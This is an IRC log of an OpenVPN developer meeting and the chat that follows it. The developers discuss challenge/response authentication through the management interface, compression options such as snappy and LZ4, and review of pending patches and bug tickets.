pekster's and waldner's earlier discussion: 13:02 <@mattock> "Issues with supplying username/password/response via file/stdin/management interface" 13:02 * pekster is still hiding in the shadows too 13:03 <@mattock> hi pekster! 13:03 <@mattock> krzee promised to be present, too 13:03 <@mattock> waldner: is there something you'd like to add to the very problem brief description in the wiki? 13:04 < waldner> well, I'll give a short background 13:04 < waldner> just so everyone can see what we're talking about 13:04 < waldner> here: http://article.gmane.org/gmane.network.openvpn.devel/7776 13:04 <@vpnHelper> Title: Gmane -- PATCH Support for username only auth file. (at article.gmane.org) 13:04 < waldner> that was the (still outstanding) patch that prompted me to do this 13:05 < waldner> I said, that's great, however I'd like to put the username in the config directly, rather than create a file 13:05 < waldner> so after some discussion, it was agreed that inlining auth-user-pass would be the way to go 13:05 < waldner> which seems excellent to me 13:05 < waldner> so this explains the first two points 13:06 < waldner> inlining the file, and the possibility to only specifiy a username, rather than both username/pass 13:06 < waldner> so far so good 13:06 < waldner> so I started looking at the code and doing tests, to understand how it works currently 13:07 < waldner> the main function is get_user_pass_cr, misc.c 13:07 < waldner> doing various tests, I see that function is invoked from many different places (some of which are not a strictly username/password dialog) 13:08 < waldner> in particular, it is involved in challenge/response 13:08 < waldner> so when c/r is used, it prompts for username, password, and response to the challenge (statis or dynamic) 13:08 < waldner> it can prompt on stdin or via the management interface 13:09 < waldner> now trying a few combination of options to understand how all the code paths work, I came across a few issues 13:09 < waldner> the main one is that one can in principle use both "auth-user-pass file.txt" *and* "static-challenge sometext" 13:10 < waldner> when one does that, username and password are read from the file, but the user is not prompted for the challenge at all 13:10 < waldner> now I agree that this combination of options doesn't make much sense from a security standpoint, but if we allow it it should work, otherwise it should be forbidden 13:10 < waldner> thoughts? 13:11 <@mattock> jamesyonan: is the above behavior intentional, or accidental? 13:11 <@mattock> I think forbidding it makes most sense 13:12 < ngharo> walder, curious if you've been in contact with the original patch author? 13:12 <@pekster> The one edge-case I see where it's possibly useful to do both is if we allow --auth-user-pass (inline or not) to supply the username only, then prompt for the pass plus the challenge response 13:12 < waldner> ngharo: no (not yet, better) 13:12 <@cron2> pekster: this sounds like a useful case for me 13:12 <@pekster> As I understand the issue, this won't work as it stands today, right? 13:12 <@mattock> yep, in that context it makes sense 13:13 < waldner> correct, as it stands today it doesn't work 13:14 <@jamesyonan> yes, there's no support right now for challenge/response + user/pw file 13:14 < waldner> so better to bail out if one does that, and if/when support is added lift the restriction? 13:14 <@mattock> does that = use both config option at the same time 13:15 <@mattock> bail out at startup? 13:15 < waldner> what's "="? 13:15 <@pekster> Right, rather than silently failing when the c/r is never sent 13:15 < waldner> yes, just where many other checks are done, it would just be one more 13:16 < waldner> there are already many combinations that are incompatible and openvpn terminates 13:16 <@mattock> so this would allow username-only password file/inline section 13:16 <@mattock> but if c/r is added, then it bails out 13:16 < waldner> yes 13:16 <@mattock> makes sense 13:16 <@pekster> That's actually an independent issue; as the code stands _today_ it's broken with external --auth-user-pass and c/r used together 13:17 < waldner> yes, but we can detect that combination and abort 13:17 <@mattock> pekster: but it breaks silently, without a clear error message 13:17 <@mattock> afaik 13:18 <@pekster> And this may be by design ( jamesyonan may have details, or AS usecases,) but I agree it shouldn't silently fail 13:18 < waldner> doesn't even "break", the user just sees they can't authenticate 13:18 <@mattock> jamesyonan: is there a use-case for not bailing out when --auth-user-pass and c/r are used together? 13:18 <@mattock> currently it just gives "auth failed" 13:19 < waldner> (probably an attentive user would notice that thay're not prompted for the c/r) 13:19 <@jamesyonan> how hard would it be to just modify c/r code to use user/pw file when available? 13:19 < waldner> jamesyonan: when the user is prompted on stdin, not too much 13:19 <@jamesyonan> and only prompt for c/r 13:20 < waldner> however, when the prompt comes in the management, it's more complex 13:20 < waldner> because in the management interface one is supposed to send a string that contains username and responses encoded together 13:21 <@jamesyonan> I would tend to think that if people are authenticating through management interface, that they wouldn't be using a static user/pw file 13:21 < waldner> so it would have to be the application that drives the management interface that would need to be smarter 13:21 < waldner> yes, that's what one option is banning it altogether 13:21 < waldner> *why 13:22 < waldner> (sorry, above I meant "password and response encoded together") 13:22 <@pekster> jamesyonan: That was my thought too, so the "frontned" (the app driving the user experiencing) should be the one in this case to read from an external file in this case, if it so chooses 13:23 <@pekster> The alternative here when using c/r over the management interface is make that codepath more complicated by handling inputs with user+pass+c/r, or just permutations, then format the reply to send to the server 13:23 < waldner> it would probably need a new type of prompt to present to the management interface 13:23 <@pekster> That feels messy to me, and if there's a frontend app that's supposed to be managing the user experience, I'm wondering why it wouldn't do it all in that widget 13:24 <@jamesyonan> how about just don't ask the MI for user/pw when already available in file? 13:24 < waldner> ie, it would become similar to how the user is prompted on stdin 13:24 < waldner> jamesyonan: yes, that happens already, however the response should still be prompted 13:25 < waldner> (the resposne to the challenge) 13:25 <@pekster> So, the proposal is just ask for the needed details and format the reply internal to the code? That might actually make things easier instead of expecting the input on the management interface to be this combination of it all 13:26 <@pekster> For reference, the management-notes.txt says the dynamic c/r is to be formatted: password "Auth" "SCRV1:<BASE64_PASSWORD>:<BASE64_RESPONSE>" 13:26 < waldner> yes, like password "Auth" "SCRV1:Zm9v:ODY3NTMwOQ==" 13:27 <@pekster> Can we just have the client-side here enter in a normal sequence of pass (if it wasn't supplied in the --auth-user-pass file) and then the c/r as different parts? 13:27 < waldner> except if the password is read from a file and the user isn't prompted, the management interface has no way to know the password 13:27 <@pekster> Nevermind the SCRV1 part, what if it just takes the input and expects the code to deal with how to format the reply? 13:28 < waldner> pekster: that's one option, however it requires changing the MI prompts 13:28 < waldner> (likely) 13:28 <@jamesyonan> well I think the issue here is that the MI expects clients to be able to generate the special packed pw/resp string, while when operating off of stdin, it does the packing itself 13:28 < waldner> jamesyonan: correct 13:28 <@pekster> Right; is there a way to unify both of these input methods perhaps? 13:29 <@jamesyonan> this was a way to add c/r support without breaking MI compatibility 13:30 < waldner> so if we introduce a new prompt type, we'd also need to take care that the current way of prompting keeps working 13:31 <@mattock> is there anything preventing adding a new prompt and keeping the old one for compatibility? 13:31 < waldner> ie, support both "PASSWORD:Need 'Auth' username/password SC:1,Please enter token PIN" (current) and a new, separate prompt to only prompt for the response 13:32 <@pekster> Perhaps adding a `'PASSWORD:Need 'Challenge-Response' password` inquiry across the management interface? 13:32 < waldner> if we detect that user/pw come from a file we prompt for user/pw only using the standard MI prompt, and then prompt separately for the response 13:32 <@pekster> Then a `challenge-response "Auth" "the response here"` format? 13:32 < waldner> yes 13:33 < waldner> that's a new prompt, as said 13:33 <@jamesyonan> I'm okay with that as long as it doesn't break existing clients 13:33 <@pekster> This way the existing behaviour keeps working for SCRV1 query/reply 13:33 <@mattock> and in the long run this new approach would replace the old one? 13:33 < waldner> it shouldn't, as long as they don't start using user+pw from file 13:33 <@mattock> not just augment it 13:33 <@pekster> mattock: I think it would work as an adjunct to the old method 13:34 <@mattock> ok 13:34 <@pekster> Unless we want to set a target date to deprecate the current feature, and break all frontends relying on it 13:34 < waldner> I think that's not doable 13:34 <@cron2> we can't do that 13:34 <@pekster> (sounds like it'll break as-yet-unknown things) 13:35 <@pekster> Yea, so I like thte idea of adding a new query method in this case, and implementations using it are expected to know how to speak that method or it'll fail (which it does today anyway, so no loss) 13:35 <@mattock> interesting how this all started from "allow username-only auth-user-pass file" 13:35 <@pekster> Yes... :) 13:36 < waldner> well, in fact this is how it is *now*, even before trying to do anything 13:36 < waldner> and since adding the features initially mentioned will necessarily have to pass through that code, it has to be cleared up upfront 13:37 <@jamesyonan> this still needs proof-of-concept testing to ensure that it doesn't break existing clients 13:37 <@mattock> so, if I understood this correctly, we should make openvpn bail out at startup if --auth-user-pass and c/r are used together 13:37 <@pekster> With the advantage that this use-case will actually work. If the username only is supplied externally (which includes "inline") it just uses the existing SCRV1 method. If user+pass are supplied, the fronttend management (or stdin) client needs to use this new response mechanism. Anyone see issues with that solution? 13:38 <@mattock> then we add support for inline auth-user-pass 13:38 < waldner> well I'd do this: for the time being, and to not break compatibility, we just bail if one uses user/pw from file and static challenge 13:38 <@jamesyonan> for example, what if a client that already understands SCRV1 usage chokes when a new auth field is prompted for by MI and it doesn't recognize it 13:38 <@jamesyonan> and what about dynamic challenge/response mode? 13:39 < waldner> jamesyonan: that'd require that openvpn knew the capabilities of the application driving the MI 13:39 <@pekster> But it would never choke like that unless the config asked it to use c/r with an external auth file, right? 13:39 < waldner> jamesyonan: yes, what about it 13:39 <@jamesyonan> will proposed solution work with both static and dynamic c/r? 13:39 < waldner> jamesyonan: I wasn't able to test dynamic c/r 13:39 < waldner> does it require an AS server? 13:40 < waldner> or if not, how do I enable it? 13:41 <@pekster> Ah, so the tricky part here is what does this mean from management-notes.txt: "The OpenVPN dynamic challenge/response protocol works by returning a specially formatted error message after initial successful authentication. This error message contains the challenge question..." 13:41 <@jamesyonan> the docs should explain it 13:41 <@jamesyonan> no AS is required 13:41 < waldner> (I had it planned to bring this up anyway) 13:41 < waldner> the docs say the server sends a special error message to the client, which prompts the client's MI to prompt for the response 13:41 < waldner> I even see the code where it does that 13:41 < waldner> but for the love of me I'm not able to trigger that response from the server 13:42 < waldner> otherwise I'd have tested it already to have a more complete picture 13:43 < waldner> if someone knows how to do it, I'm all ears 13:43 <@jamesyonan> if you don't use AS, the server would need to be driven from the MI and understand how to deliver the special AUTH_FAILED that tells the client to do a dynamic challenge 13:43 < waldner> right, so which message is that? is it in the docs? 13:44 < waldner> which MI command is it? 13:44 < waldner> (the docs I have are http://openvpn.net/index.php/open-source/documentation/miscellaneous/79-management-interface.html) 13:44 <@vpnHelper> Title: Management Interface (at openvpn.net) 13:46 < waldner> (I've tried with "echo" with no luck) 13:46 <@pekster> Ah, now I think I see it waldner, look at the `COMMAND -- client-deny` section 13:46 <@pekster> It needs to format a special AUTH_FAILED reply as documented in the dynamic challenge response section 13:46 <@pekster> Think of it as "extra text after the AUTH_FAIL part 13:47 < waldner> pekster: right, it may well be that 13:47 <@jamesyonan> yes, that sounds right 13:47 <@pekster> client-deny {CID} {KID} "reason-text" ["client-reason-text"] <<-- that bit 13:47 < waldner> I had not associated it with the later paragraph about dymanic challenge 13:47 <@pekster> So, that's the test-case for dynamic auth. And it sounds like this is all fine "as long as current behaviour is maintained" 13:47 < waldner> right 13:48 <@pekster> waldner: I hadn't either until just now :) 13:48 <@jamesyonan> right, you fail the auth with a CRV1:<flags>:<state_id>:<username_base64>:<challenge_text> string 13:48 < waldner> yes, makes sense now 13:48 < ngharo> would it make sense to get the username-only support in now since that is fairly trivial and deal with the c/r and MI issues after, rather than all in one? 13:49 <@pekster> Yes, I'd like to see these treated as independent issues 13:49 < waldner> ngharo: it isn't as easy as it sounds 13:49 <@pekster> Especially if we end up eventually doing both, the patches will be easier to see what they do, I think 13:49 < waldner> it certainly can be done regardless of what we've been discussing so far 13:50 < waldner> however that require changes the very code that also does c/r and prompts for user/pass 13:50 <@pekster> Let me put it this way: adding support for username-only doesn't break anything except user+c/r, and that's already not working today 13:50 < waldner> and the various ifs and flags that determine what and where to prompt 13:51 < waldner> pekster: yes, it shouldn't break anything since the MI does not change 13:52 <@mattock> I think it makes sense to implement the username-only stuff first 13:52 <@mattock> and make openvpn bail out if auth-user-pass is used with c/r 13:52 <@pekster> So, how about breaking this into a "3-phase wishlist." 1) support username-only in a --auth-user-pass file, and all the backend code changes this requires. This patch can live on its own. Phase 2) support inlining the --auth-user-pass file so it doesn't need to be external. Phase 3) Add support for the MI to handle either the user or both user+pass from an external file, and still prompt for the c/r 13:52 < waldner> I propose then I'd do more testing including dynamic challenge and I'll come up with a better/more definitive plan that we can discuss again in a future meeting 13:53 < waldner> yes, along those lines 13:53 < waldner> also because we've spent a lot of time on this already and there were other topics for the meeting 13:53 <@pekster> Sounds like we've made some progress anyway, and opened up new lines of testing for you. This feels good 13:54 < waldner> agreed 13:54 < ngharo> ^5 13:54 <@pekster> jamesyonan, thanks for the insight into how the server-initiated challenge works, that helped open the door :) 13:54 <@mattock> waldner: so you'll do more thorough testing now, or after phase 3) as proposed by pekster? 13:55 < waldner> I'll do more testing to fully understand all the code paths and option combinations 13:55 <@mattock> ok, I'll mention our initial plan in the summary 13:55 <@mattock> next topic 13:55 < waldner> then I'll come up with a plan, which will likely be as pekster said 13:55 <@mattock> actually, I think we could review some of the patches in the patch queue 13:55 < waldner> or a small variation thereof 13:55 <@mattock> pekster and me could discuss openvpn-build some other day on this channel 13:56 <@mattock> others are probably not _that_ interested in it :P 13:56 < waldner> thanks everyone for the comments and ideas 13:56 < ngharo> I'm working on replying to all open, unreplied GitHub tickets to not discourage potential contributors on GitHub. So I will be replying to the pull request (https://github.com/OpenVPN/openvpn/pull/5) with some information discussed here 13:56 <@mattock> except maybe the snappy support? 13:56 <@vpnHelper> Title: Support for username-only auth file. by mludvig · Pull Request #5 · OpenVPN/openvpn · GitHub (at github.com) 13:56 <@pekster> Yes, I'd rather see pending patches discussed first anyway 13:56 <@cron2> the first patch on the Patches page has already been ACKed by dazo and pushed :) 13:56 <@mattock> cron2: I'll move it to the correct page 13:56 <@mattock> what about Jesse Glick's patches 13:56 <@mattock> he was asking about those 13:56 <@cron2> jamesyonan: do you have built a windows client with snappy support? 13:57 <@cron2> mattock: you brought up snappy, let's stick to that topic for a moment :-) 13:57 <@jamesyonan> cron2: no, haven't attempted that yet 13:57 <@mattock> ok, snappy 13:57 <@mattock> so the issue with snappy support is that it pulls with it libstdc++, which is 8MB 13:57 <@mattock> and OpenVPN windows installers are ~1.7MB currently 13:58 <@mattock> so it's huge 13:58 < waldner> I'd put the existing username-only from file patch on hold until I've done more testing, not because I want to dismiss it but because I want to see if it can be used as starting point for the bigger changes we're planning (it may very well be) 13:58 <@cron2> ok... well, mattock has it working, but it requires libstdc++.dll, which is 8mb... so that's the currently open issue... find compile options (on the cross-build) that achieve "--static-libstdc++" 13:58 <@cron2> so I was curious whether it builds nicely with MSVC :) 13:58 <@mattock> ngharo: check waldner's comment ^^^ 13:59 <@cron2> pekster: how are you building windows binaries? --disable-snappy? 13:59 <@mattock> I did some work to get it to statically compile, but haven't really succeeded yet 13:59 <@mattock> this is actually related to openvpn-build not being able to resume builds 13:59 <@mattock> because doing this kind of openvpn-build development is fairly painful if you have to reinitiate the build every time 13:59 <@mattock> and it takes ~20 mins on my VM 13:59 <@cron2> who is openvpn-build maintainer these days? mattock? 13:59 <@mattock> me 13:59 <@pekster> cron2, I'm not building git master; my windows builds are 2.3.2 mainline, and I add in individual patches now. Maybe mattock has more info on mater builds 14:00 <@mattock> I usually build 2.3.x too 14:00 <@jamesyonan> cron2: wondering if we should look at LZ4 as a third compressor option 14:00 <@mattock> haven't built master recently 14:00 <@cron2> pekster: ic. 2.3.2 has no snappy support, so you don't run into that 14:00 <@pekster> Exactly 14:00 <@jamesyonan> it's almost as fast as Snappy but is extremely small and without dependencies 14:00 <@cron2> jamesyonan: what would be the benefit? I haven't heard about LZ4 before, and have no real idea about pro/cons of the various algorithms and implementations 14:00 <@cron2> ah 14:01 <@pekster> I haven't looked at how ./build works, but I think it should be easy enough to make it just rebuild openvpn and not the deps, with a way to override this if needed 14:01 <@mattock> does someone actually _need_ openvpn windows binaries with snappy support? 14:01 <@cron2> if LZ4 can be done without fighting libstdc++, that would be nice 14:01 <@mattock> I mean, if someone really does, can't we just offload the work to him/her? 14:01 <@mattock> why bother ourselves 14:02 <@mattock> I don't recall anyone asking for snappy support in the windows binaries 14:02 <@cron2> AS would need to be taught to handle yet another option, while 2.4/master still has no idea about compression negotiation, so we won't lose much 14:02 <@pekster> +1. This is what we do today with enable_x509_alt_username=no 14:03 <@pekster> If there's a "less intrusive" in terms of required library support available for compression, that sounds much preferred for Windows where stdlibc++ isn't generally availalbe system-wide 14:03 <@mattock> jamesyonan: do you have plans to implement LZ4 anyways? 14:03 <@cron2> jamesyonan: so what would be the plan for ios/android? keep snappy there, or drop snappy and move to lz4? 14:04 <@jamesyonan> cron2: LZ4 seems to be getting a lot of momentum, i.e. it's in linux kernel now and used for dynamic filesystem compression 14:04 <@jamesyonan> OpenVPN 3 actually supports LZ4 right now in the code, but the support isn't compiled in atm for Android/iOS clients 14:07 <@cron2> with the new compression framework, it shouldn't be very hard to add - and then we have a fast compressor (LZ4) and a "compatible" one (LZO), and could just leave off snappy on memory- or library-constraint systems (embedded clients, windows, ...) 14:08 <@mattock> who would implement LZ4 support in Git master? 14:08 <@cron2> sounds good to me, though I have no time right now to do the actual coding 14:08 * cron2 points at jamesyonan 14:08 <@mattock> I would tend to do the same :P 14:08 <@mattock> I think I saw jamesyonan o/ :D 14:08 <@cron2> (two busy weeks coming, then two weeks of vacation with lousy Internet, *then* work on the backlog) 14:09 <@cron2> but I'm happy to test and review the result, as I feel comfortable around the compression layer now :) 14:10 <@mattock> next topic? 14:10 <@cron2> lol, you *could* actually wait for James to agree :-) 14:10 <@mattock> that could take a while, if he doesn't want to :) 14:11 <@mattock> jamesyonan: would you be willing to implement LZ4 support in 2.3/2.4 in the near future? 14:11 <@cron2> ok... patches from Jesse. The first one looks harmless enough, but I have no idea what NetBeans is... 14:11 <@mattock> it's like Eclipse 14:11 <@cron2> mattock: 2.4, not 2.3 - 2.3 does not have the compression layer infrastructure 14:11 <@mattock> ah yes 14:11 <@mattock> 2.4 14:12 <@cron2> so 2.3 is "lzo only" 14:12 <@mattock> you can write and build software with it 14:12 <@jamesyonan> now that we already have compression negotiation, adding LZ4 shouldn't be too difficult 14:13 <@mattock> does that count as a "yes, I can do it"? 14:13 <@jamesyonan> I can certainly do it, but the question is the timeframe 14:13 <@jamesyonan> it would be months before I could get to it 14:13 <@mattock> I don't think we're in a particular hurry 14:13 <@mattock> nobody has requested snappy or lz4 afaik 14:14 <@mattock> in the windows installers or in openvpn itself 14:14 <@mattock> I can give Jesse's first patch an ACK 14:14 <@mattock> the .gitignore one 14:14 <@cron2> mattock: ok, noted 14:14 <@mattock> next one 14:15 <@mattock> "When using UDP over SOCKS5, send the actual remote hostname (FQDN) to the proxy server in the first packet." 14:15 <@cron2> the snappy/lz4 timeframe would be relevant for the openvpn connect windows client - so that's James' timeframe anyway :) 14:15 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/7795 14:15 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:15 <@pekster> I haven't really looked into the 2nd patch, UDP over SOCKS5, but I don't really understand the usecase, and the fact that it doesn't work with IPv6 is probably an issue now that 2.3 can do IPv6 14:16 <@cron2> yeah, similar sentiments here - I have no idea *why* he's doing what he's doing, so no feature-ACK from me -> needs more discussion 14:16 <@pekster> Specifically, I'm not sure how this is a benefit: "so that many hostnames can map 14:16 <@pekster> to the same IP of the reverse proxy 14:17 <@cron2> ask for specific use cases, and why it would then not break if the IP address is put into later packets 14:17 <@pekster> Yes, that bit confused me too 14:17 <@cron2> (and maybe we'll have to rewrite SOCKs anyway when plaisthos' dual-stack patches show up) 14:18 <@mattock> can you guys ask for clarifications from Jasse? 14:18 <@mattock> Jesse 14:19 <@mattock> or is it all-out NACK based on current information? 14:19 <@cron2> it's a "convince me that it's useful, then I'll look at the code" 14:20 <@mattock> ok, care to ask Jesse to convince you? 14:20 <@cron2> which is better than "go away, this code is bad and it makes no sense" :-) 14:20 <@mattock> agreed :) 14:20 <@cron2> pekster: can you do that? 14:20 <@pekster> Right, I "sort of" understand the feature, but not the implementation details or the rationale 14:20 <@pekster> Sure, I can draft up a reply to that within a day or two 14:20 <@cron2> thanks 14:21 <@mattock> thanks! 14:21 <@pekster> I'm not too skilled with some of the code bits, but I don't think that's required here since we need a more high-level reasoning/explanation 14:21 <@mattock> shall we try one or two patches? 14:21 <@cron2> pekster: exactly. I'll do the staring-at-the-code then 14:22 <@cron2> mattock: I'm not qualified to comment on the AEAD stuff - that would be James, or andj/syzzer (who are hiding)... 14:23 <@cron2> Arne's 2013-04-20 patch is in my "understand the code, agree with Arne" queue 14:24 <@mattock> ok, then we're more or less done, except for the bug queue 14:24 <@mattock> which grows slowly but steadily 14:24 <@pekster> The AEAD mode lists AES-GCM as an example, but don't we support that specific mode now with TLSv1.2 patch? 14:24 <@cron2> well, there's the "UI version" patch... and maybe James can comment on the AEAD one 14:24 <@mattock> (updated the patches page) 14:24 <@pekster> Some of the bugs are OpenVPN Connected related (eg: #314) 14:24 <@pekster> Should those be forwarded to someone@corp and then closed out with a reference there? 14:25 <@mattock> I personally think it's fine if they're in Trac 14:25 <@mattock> I've been pointing the right people to them 14:25 <@cron2> are they being handled? 14:26 <@mattock> not sure 14:26 <@pekster> Ah, okay. How about a unique component for them though, so we can filter by that? 14:26 <@mattock> and there is one problem 14:26 <@mattock> yes, that one 14:26 <@mattock> we'd need unique components for them 14:26 <@cron2> so let's add them :) 14:26 <@mattock> I think I'll ask about this on our internal email list 14:26 <@cron2> +1 14:26 <@pekster> ie: the corp folks can filter by "corp feature a OR corp feature B", and I'm willing to set taht up and triage if we go that route; just let me know 14:26 <@mattock> then we can decide whether to forward these reporters somewhere else, or let the company people handle them in Trac 14:26 <@pekster> It'll both help the corp side out, and let the GPL hackers filter them out 14:26 <@mattock> yeah 14:27 <@mattock> taking a quick look at the "bugs since June 1st" list: https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&time=06%2F01%2F13..08%2F22%2F13&col=id&col=summary&col=status&col=type&col=priority&col=milestone&col=component&order=priority 14:27 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 14:28 <@mattock> this one is fixed, right: https://community.openvpn.net/openvpn/ticket/320 14:28 <@vpnHelper> Title: #320 ("Add a new TAP-Windows virtual ethernet adapter" doesn't exist anymore) – OpenVPN Community (at community.openvpn.net) 14:28 <@pekster> Yes, as of today that patch is merged into master 14:28 <@mattock> ok, I'll close it 14:29 <@mattock> this is actually more like a patch: https://community.openvpn.net/openvpn/ticket/305 14:29 <@vpnHelper> Title: #305 (configure script fails with static openssl libraries) – OpenVPN Community (at community.openvpn.net) 14:30 <@mattock> any comments on that one? 14:30 <@mattock> are there any side-effects in doing what the bug reporter suggests? 14:30 <@cron2> no idea 14:31 <@cron2> we should bring it to openvpn-devel, as there's a few people with good autoconf knowledge there 14:31 <@mattock> yep, let's do that 14:31 <@mattock> it's getting pretty late here... shall we call it a day? 14:32 <@cron2> I'd actually like to hear James' opinion on the OPENVPN_GUI_VERSION thing 14:32 <@cron2> jamesyonan: this is http://thread.gmane.org/gmane.network.openvpn.devel/7636/focus=7646 14:32 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:32 <@mattock> if we try to have weekly meetings we should be able to clear the bug and patch backlogs easily 14:32 <@mattock> ah, interesting 14:33 <@cron2> if someone actually acks things instead of deferring... :-) 14:33 <@mattock> yep 14:34 <@cron2> jamesyonan: for Android, and maybe for Windows as well, it would be useful to see the GUI version in the server logs, using push-peer-info. We're not exactly sure how to do this "nicely" - so this proposed implementation has a special "IV_" string which can the gui set using "--setenv IV_OPENVPN_GUI_VERSION whatever" 14:34 <@cron2> this works and is safe enough, but maybe you have other ideas how "it should look like" 14:35 <@vpnHelper> RSS Update - testtrac: Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> 14:39 <@mattock> jamesyonan: ^^^ 14:39 <@mattock> any comments? 14:40 < waldner> gtg now, thanks everyone and have a good $part_of_day_in_your_timezone 14:40 <@mattock> waldner: thanks to you too! 14:40 <@mattock> and see you later 14:40 < waldner> :) bye 14:40 <@mattock> I think I'll split too, unless jamesyonan appear fairly soon :P 14:41 <@jamesyonan> hi, I'm here… NetBeans patch looks fine 14:41 <@mattock> that's merged already 14:41 <@mattock> can you have a look at cron2's question right above 14:42 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 14:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:46 <@jamesyonan> cron2: agreed that GUI version logging is a good idea 14:47 < ngharo> How about this, more verbose TLS logging: https://github.com/kdienes/openvpn/commit/c9e78375e13c47c7c279b1f31e853dfe2bcc6d6a 14:47 <@vpnHelper> Title: tls_ctx_load_ca: Improve certificate error messages · c9e7837 · kdienes/openvpn · GitHub (at github.com) 14:48 < ngharo> i dont think this one made it to the mailing list or other channels 14:49 <@mattock> ngharo: that's probably true 14:50 <@cron2> ngharo: can you send it to openvpn-devel@ please? 14:50 < ngharo> will do 14:50 <@mattock> thanks! 14:52 <@mattock> jamesyonan: I take it the suggested implementation also makes sense? 14:52 <@mattock> (I'll cut the meeting summary at this point) 14:52 <@mattock> got to split and send the summary to openvpn-devel 14:53 <@cron2> g'nite 14:54 <@mattock> good $your_time_of_the_day to you all! 14:54 <@cron2> 21:54 here :) 14:55 <@mattock> +1 hour here 14:56 <@mattock> ngharo: you could perhaps use the Patches page for GitHub patches also: https://community.openvpn.net/openvpn/wiki/Patches 14:56 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 14:56 <@mattock> if you need to track them somehow 14:56 <@mattock> I mean pull requests 14:57 <@pekster> I do wonder if it might make sense to post the patches (from the pull requests themselves) and direct the contributor to the ML, that way they can answer questions anyone on the list has without you needing to back-and-forth all of the discussion in both ways across 2 medium formats? 14:57 <@pekster> ngharo: ^ 14:57 < ngharo> Good call, beats my local spreadsheet 14:57 <@mattock> if one can pull the code as a patch then yes, I think that makes sense 14:58 < ngharo> yeah that's what I'll plan on doing. Right now i'm still investigating which ones made it to the list and which have not 14:58 <@pekster> IIRC github has a way to import a pull request lke you would fetch a remote repo's updates 14:58 <@pekster> Never done it hough 14:58 <@mattock> I vaguely recall doing exactly that at one point 14:58 <@pekster> Then the 'middle man' can do the usual format-patch (or send-email) stuff 14:59 <@mattock> or maybe some other fairly neat feature 14:59 <@cron2> pekster: uh, well, "git pull $url", no? 14:59 < ngharo> yeah i just pulled this guys fork, format-patch, and verified it merged clean against openvpn master 15:04 < ngharo> mattock: do you suggest I create a new section on wiki/Patches for these unreviewed github pull requests or just add them to Patches under review? 15:05 <@cron2> patches under review should be good enough 15:05 < ngharo> mattock: also, are you Samuli? 15:05 < ngharo> cron2: ok thx 15:05 <@pekster> Would a URL to the ML posting (gmane or w/e) be better than a ref to github? The former will include dev-discussion, and matches our current format I think 15:07 < ngharo> I'll make sure to post them to the ML and then update the wiki with a ref to the ML 15:07 <@cron2> *that* is perfect :) 15:07 < ngharo> and at github, i'll reference both the wiki/Patches and ML thread 15:08 <@pekster> Sounds good. Just trying to see how the process can be streamlined as much as using multiple code submission frontends can be, and how to make it easy for developers that might be able to review/comment/ACK the code to do so with minimal effort 15:08 < ngharo> yeah, ideally it would be nice not to rely on a manual process but until that can be sorted out I'm ok with keeping track of this stuff 15:15 < ngharo> off to lunch 15:16 <@pekster> ngharo: Thanks for taking the time to send some of that along. We're certainly trying to be more friendly about patches, but the core developer time is spread pretty thin, so what you're doing does help 17:16 -!- jamesyonan [~jamesyona@24.9.78.222] has quit [Quit: jamesyonan] 20:18 -!- raidz is now known as raidz_away 21:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] --- Day changed Fri Aug 23 2013 01:26 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:26 -!- dazo_afk is now known as dazo 02:23 <@d12fk> about #305, what were the side effects you were fearing? 02:31 <@cron2> "strange build failures on one of our platforms" 02:34 <@d12fk> cron2: what it does is always link against openssl's libcrypto when testing if libssl is available, but only if pfkconfig didn't already provide the info 02:34 <@d12fk> see no chance for a side effect here 02:35 <@d12fk> libssl must always be linked with libcrypto 02:35 <@d12fk> the dynamic linker resolves the dependencies, the static one doesn't obviously 02:43 <@cron2> d12fk: sounds good to me -> please ACK :-) 02:43 <@d12fk> will do 03:11 * pekster is going on a ticket cleaning/filing binge 03:12 <@pekster> NB: I added 'OpenVPN Connect' and 'Access Server' components to the tracker. If corp-folks decide they don't belong there, we can still close them out, but I wanted to 1) file them under something and 2) be able to filter them out :) 03:18 <@cron2> mattock: can you get me a realname+mail address for the patch author in #305? 03:23 <@pekster> dazo: I commented on an older bug you opened, https://community.openvpn.net/openvpn/ticket/279#comment:1 03:23 <@vpnHelper> Title: #279 (tun-ipv6 warning found when connecting to a v2.2 server from a v2.3 client) – OpenVPN Community (at community.openvpn.net) 03:40 <@mattock> cron2: yes, just a sec 03:44 <@mattock> pekster: re: components: sounds good 03:44 <@mattock> I'll mail about that to internal mailing list now 03:47 <@plaisthos> great .... 03:48 <@plaisthos> tls 1.0+ seems to have broken my rsa-sign hack :( 04:04 <@plaisthos> For some reason with TLS 1.0 OpenVPN/OPenSSL want have 36 bytes signed and with TLS 1.2 it wants to have 112 bytes signed 04:04 * plaisthos is confused 04:16 <@vpnHelper> RSS Update - testtrac: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> 05:08 < syzzer> plaisthos: isn't it using a different hash algorithm for tls? if 1.0 was using sha, while 1.2 is using sha384/sha512 it gives you a longer hash to sign :) 05:24 <@plaisthos> syzzer: that is probably the cause 05:24 <@plaisthos> but I used to use RSA_sign(NID_md5_sha1,...) 05:25 <@plaisthos> and that now complains with the input is not len(sha1+md5) 05:25 <@plaisthos> And finding the right function to use instead of RSA_sign is *@&#*@&# 05:25 <@plaisthos> openssl does not make this easy :( 05:38 * plaisthos now just uses RSA_private_encrypt which contains a warning that I should not use it and use RSA_sign instead 05:39 <@plaisthos> syzzer: OpenVPN with PolarSSL has always been TLS1.0+, right? 06:13 < syzzer> plaisthos: yes 09:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 09:25 -!- dazo_afk 